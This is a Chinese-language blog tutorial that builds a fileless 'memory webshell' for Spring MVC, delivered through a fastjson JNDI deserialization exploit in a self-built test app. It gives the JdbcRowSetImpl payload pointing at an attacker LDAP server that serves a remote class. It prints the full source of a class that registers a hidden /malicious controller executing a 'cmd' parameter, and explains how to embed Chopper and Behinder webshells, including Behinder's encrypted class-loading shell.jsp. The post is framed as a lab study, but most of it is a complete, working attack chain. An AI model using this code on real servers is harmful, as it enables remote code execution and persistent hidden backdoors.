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1 基础

实际上java内存马的注入已经有很多方式了,我在学习中动手研究并写了一下针对spring mvc应用的内存马。

一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一个spring mvc的后端,并直接给了一个fastjson反序列化的页面,在假定的攻击中,通过jndi的利用方式让web端加载恶意类,注入controller。

一切工作都是站在巨人的肩膀上,参考文章均在最后列出。

1.1 fastjson反序列化和JNDI

关于fastjson漏洞产生的具体原理已有很多分析文章,这里使用的是fastjson1.24版本,poc非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当web端使用fastjson对上面的json进行反序列化时,受到@type注解的指示,会通过反射创建com.sun.rowset.JdbcRowSetImpl类的对象,基于fastjson的机制web端还会自动调用这个对象内部的set方法,最后触发JdbcRowSetImpl类中的特定set方法,访问dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更详细的展开。

1.2 向spring mvc注入controller

学习了listener、filter、servlet的内存马后,想到看一看spring相关的内存马,但没有发现直接给出源代码的controller型内存马,所以学习并动手实现了一下(spring版本4.2.6.RELEASE)。

首先站在巨人的肩膀上,可以知道spring mvc项目运行后,仍然可以动态添加controller。普通的controller写法如下

通过@RequestMapping注解标明url和请求方法,编译部署后,spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下

public class InjectToController{
public InjectToController(){
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public void test() {
xxx
}
}

  • 步骤1中的context可以理解为web端处理这个请求时,当前线程内所拥有的各种环境信息和资源
  • 步骤2中获取的mappingHandlerMapping对象是用于注册controller的
  • 步骤3中的反射是为了获得test这个Method对象,以便动态注册controller时,告知接收到给定url路径的请求后,用那个Method来处理,其中InjectToController类就是我们的恶意类
  • 步骤4定义的url对象是为了指定注入url,这个url就是我们的内存马路径
  • 步骤5是告知注入的url允许的请求方法
  • 步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息,即url、允许的请求方法等。是真正注册controller的步骤
  • InjectToController这个类就是我们的恶意类,其中定义了test方法,这个方法内存在执行命令,当然也可以替换成冰蝎、哥斯拉的webshell核心代码,以便使用这两个工具。InjectToController的完整代码在后面的章节可见

1.3 获取request和response

常用的jsp一句话webshell代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

由于jsp文件被执行时,会自动获得了request这个资源,所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中,恶意java类的编译是由攻击者完成的,web端直接执行编译好的class文件,显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通过spring的内部方法获取到request和response对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果spring mvc项目部署在tomcat下,也可以用针对tomcat获取requeset的方法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)

1.4 阻止重复添加controller (非必须)

经过调试发现,上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保存了已经注册的所有url路径,对mappingHandlerMapping进一步后发现,以上对象和属性都是私有的,且mappingRegistry并非mappingHandlerMapping中创建的,而是来自于基类AbstractHandlerMethodMapping。

所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry方法可以获取mappingRegistry,而urlLookup是其内部类MappingRegistry的私有属性,可以通过反射获取。

反射获取urlLookup和判断我们给定的url是否被注册的代码块如下

// 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取urlLookup属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断我们想要注入的路径是否被已经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}

2 实验

2.1 搞个spring mvc的测试环境

这里用idea做了一个maven+spring mvc+tomcat的测试环境,方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个:

  • /home/postjson,可以输入json并POST给/home/readjson
  • /home/readjson,使用fastjson解析json,触发反序列化的rce

2.2 恶意类源代码

通过JNDI注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可选步骤,判断url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
// 可选步骤,判断url是否存在
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}

  • 由于fastjson反序列化时,自动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
  • 反序列化时自动触发的构造函数是第一个构造函数,因为没有带参数
  • 由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个恶意类属实麻烦,所以用了InjectToController injectToController = new InjectToController("aaa");,这样就会进入第二个构造函数,而不会进入第一个构造函数无限循环。

2.3 测试

启动spring mvc项目,访问/项目/malicious路径,返回404

使用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器

编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,访问/项目/home/postjson,并提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并根据给定的dataSourceName发起LDAP请求,从开启的给定的LDAP服务端(1389端口)获得恶意类的地址,再去下载并执行恶意类(8090端口),可以看到payload攻击成功了

访问/malicious这个uri确定一下

2.4 注入菜刀webshell

只需要找一匹稳定的jsp菜刀马,稍加改造:

  • 把菜刀马的函数定义放在恶意类中
  • 在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
  • 注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蝎代码

2.5.1 冰蝎的服务端--shell.jsp

首先来看看冰蝎的shell.jsp文件,为了方便阅读,稍作加了一些换行。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){super(c);} //构造函数

public Class g(byte []b){
return super.defineClass(b,0,b.length); // 调用父类的defineClass函数
}
}
%>

<%
if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

可以看出,该jsp的核心功能有三点

  • 为了方便地使用defineClass,创建了U这个类继承ClassLoader;
  • 使用java自带的包,解密AES加密数据
  • 使用defineClass加载AES解密后字节码,获得一个恶意类,利用newInstance创建这个类的实例,并调用equals方法

2.5.2 pageContext

shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。

但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue

又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

所以注入的controller代码中,可以将pageContext换成一个Map,手动添加key和value即可,前面的恶意类源代码中已经给出了如何获取request/response/session

2.5.3 继承ClassLoader和调用defineClass

在2.5.1中提到需要继承ClassLoader后调用父类的defineClass,当然也可以用反射,但是这样更方便而已。对恶意类稍加改造,继承ClassLoader、定义新的构造函数、增加g函数、添加冰蝎的服务端代码

特别需要注意的是红框内的ClassLoader.getSystemClassLoader(),如果随意给定某个继承自ClassLoader的类,可能会出现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为需要使用getSystemClassLoader()获取创建ClassLoader时需要添加委派父级。

2.5.4 上冰蝎

文章目录
  1. 1. 1 基础
    1. 1.1. 1.1 fastjson反序列化和JNDI
    2. 1.2. 1.2 向spring mvc注入controller
    3. 1.3. 1.3 获取request和response
    4. 1.4. 1.4 阻止重复添加controller (非必须)
  2. 2. 2 实验
    1. 2.1. 2.1 搞个spring mvc的测试环境
    2. 2.2. 2.2 恶意类源代码
    3. 2.3. 2.3 测试
    4. 2.4. 2.4 注入菜刀webshell
    5. 2.5. 2.5 注入冰蝎代码
      1. 2.5.1. 2.5.1 冰蝎的服务端--shell.jsp
      2. 2.5.2. 2.5.2 pageContext
      3. 2.5.3. 2.5.3 继承ClassLoader和调用defineClass
      4. 2.5.4. 2.5.4 上冰蝎